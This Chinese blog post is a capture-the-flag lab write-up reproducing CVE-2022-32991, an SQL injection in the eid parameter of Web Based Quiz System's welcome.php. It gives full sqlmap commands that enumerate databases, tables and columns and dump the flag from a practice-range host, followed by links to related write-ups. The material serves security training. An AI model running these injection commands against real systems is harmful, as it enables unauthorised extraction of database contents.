云镜CVE-2022-32991复现

最新推荐文章于 2024-03-25 23:13:52 发布
最新推荐文章于 2024-03-25 23:13:52 发布
阅读量272 收藏
点赞数 1
分类专栏： 漏洞复现 日常练习 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_46684679/article/details/128834602
版权

CVE-2022-32991复现


🍉 === shell
来源：https://yunjing.ichunqiu.com/cve/detail/750?type=1&pay=2

漏洞信息

漏洞名称Web Based Quiz System SQL注入
漏洞编号CVE-2022-32991
危害等级高危
漏洞类型SQL注入
漏洞厂商-
漏洞组件Web Based Quiz System
受影响版本Web Based Quiz System Web Based Quiz System V1.0

漏洞概述 : Web Based Quiz System v1.0版本存在SQL注入漏洞，该漏洞源于welcome.php中的eid参数缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令窃取数据库敏感数据。

漏洞复现

注册并登录，来到http://eci-2ze62c9kfoz9sx5029a2.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694%27&n=1&t=34页面，对eid进行单引号测试，发现报错mysqli_fetch_array()，说明mysqli_fetch_array()返回数据为空。
请添加图片描述
使用sqlmap进行测试，手工好难啊QAQ

py sqlmap.py -u "http://eci-2ze62c9kfoz9sx5029a2.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" -batch

请添加图片描述

读取flag

sqlmap一把梭

# 获取数据库名
py sqlmap.py -u "http://eci-2ze62c9kfoz9sx5029a2.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" -dbs -batch

# 获取表名
py sqlmap.py -u "http://eci-2ze62c9kfoz9sx5029a2.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" -D ctf -tables -batch

# 获取字段名
py sqlmap.py -u "http://eci-2ze62c9kfoz9sx5029a2.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" -D ctf -T flag -columns -batch

# 获取字段值
py sqlmap.py -u "http://eci-2ze62c9kfoz9sx5029a2.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" -D ctf -T flag -C flag -batch

搞定
请添加图片描述

喵喵喵
伽蓝之堂
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC
08-10
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC CVE-2022-33891 影响版本 Apache spark version 3.1.1版本 Apache Spark version>= 3.3.0 修复方案 1.建议升级到安全版本，参考官网链接： ...
CVE-2022-22963 复现Demo
04-14
CVE-2022-22963 复现Demo，A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application ...
【春秋云境】CVE-2022-32991靶场wp
MONSTERinCAT的博客
10-11 1万+
10月10日10时24分，基于多年来在网络靶场领域的深厚技术及场景积累，永信至诚i春秋正式发布春秋云境.com社区，以春秋云底层能力为基础，以平行仿真技术为支撑，以高仿真内容场景为核心，打造网络安全实战“元宇宙”，通过更加多元、开放、创新的线上技术交流空间，为更广泛的用户群体提供更轻量的靶场体验，助力攻防两端的实战技能提升。春秋云境.com。
春秋云境:CVE-2022-32991（SQL注入）
m0_65712192的博客
04-12 1586
该CMS的welcome.php中存在SQL注入攻击。
CVE-2022-32991
最新发布
sinat_25635183的博客
03-25 357
2、CVE-2022-32991 是Web Based Quiz System v1.0版本中存在的SQL注入漏洞，该漏洞源于welcome.php中的eid参数缺少对外部输入SQL语句的验证。但是提示sqlmap的版本过时了， "your sqlmap version is outdated"，那么就意味着你当前使用的 sqlmap版本可能已经不是最新版本，建议你及时更新到最新版本以确保工具的效用和安全性。使用sqlmap工具（本人使用的是kali下的sqlmap）猜测数据库为：ctf。
[春秋云镜] CVE-2022-32991 靶场详解
weixin_60374959的博客
11-23 2113
本次靶场主要考察的是对sql注入的用法，运用了一些sqlmap的参数对安全机制的绕过。-p 指定注入的参数--batch 使用默认方法去执行sql注入--random-agent 随机更换请求头--user-agent 使用指定的请求头--cookie 使用指定cookie。
春秋云境靶场CVE-2022-32991漏洞复现(sql手工注入)
zyh1588的博客
11-14 1053
小白复现CVE-2022-32991漏洞，该CMS的welcome.php中存在SQL注入攻击......
XStream拒绝服务漏洞(CVE-2022-41966)响应通告
05-05
XStream拒绝服务漏洞(CVE-2022-41966)响应通告
Microsoft Exchange CVE-2022-41040 & CVE-2022-41082 Nmap检测脚本
10-03
CVE-2022-41040 Microsoft Exchange Server权限提升漏洞 和 CVE-2022-41082 Microsoft Exchange Server 远程执行代码漏洞 Nmap漏洞检测脚本 使用发发： -- @usage -- nmap --script proxynotshell_checker.nse -p...
【春秋云境】CVE-2022-32991
ZXW_NUDT的博客
02-22 2505
【春秋云境】CVE-2022-32991
CVE-2022-32991靶场复现
m0_73734159的博客
10-27 675
由于没有注入窗口，所以想到了，火狐+burpsuite+sqlmap组合拷打。复制带有eid参数的页面网址，用火狐浏览器打开，进行burpsuite抓包。箭头所指方向存在welcome.php文件但是参数不是eid，而是p。题目提示了该CMS的welcome.php中存在SQL注入攻击。welcome.php页面存在SQL注入，并且这个参数是eid。下方有Start开始按钮，点点试试，看看有没有新的发现。创建一个txt文件，将数据包复制到这个txt文件里面。注入前的准备工作，了解sqlmap的部分参数。
CVE-2022-32991漏洞复现
YV_LING的博客
08-04 216
由漏洞信息可知：该CMS系统的welcome.php中存在SQL注入漏洞，可注入参数为eid。
sql注入漏洞（CVE-2022-32991）
热门推荐
Battery的博客
09-10 6万+
CVE-2022-32991是Web Based Quiz System v1.0版本中存在的SQL注入漏洞，该漏洞源于welcome.php中的eid参数缺少对外部输入SQL语句的验证。攻击者可利用该漏洞执行非法SQL命令窃取数据库敏感数据。打开靶场环境，如下。
春秋云镜CVE-2022-0543
09-04
根据提供的引用内容，春秋云镜CVE-2022-0543指的是Apache Spark的命令注入漏洞（CVE-2022-33891）。这个漏洞影响的版本包括Apache Spark version 3.1.1和Apache Spark version >= 3.3.0。 官方建议升级到安全版本来修复这个漏洞，并提供了相关链接供参考。 另外，引用中还提供了一个链接，指向一个网址http://eci-2zej5zymcbcri9jmain3.cloudeci1.ichunqiu.com/，但无法确定这个链接与CVE-2022-0543之间的具体关系。 引用中还展示了一个尝试读取系统文件的HTTP请求，但同样无法确定这个请求与CVE-2022-0543之间的具体关系。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [CVE-2022-33891POCApache Spark 命令注入（CVE-2022-33891）POC](https://download.csdn.net/download/qq_51577576/86396832)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *2* *3* [[春秋云镜]CVE-2022-0543](https://blog.csdn.net/niubi707/article/details/128305838)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值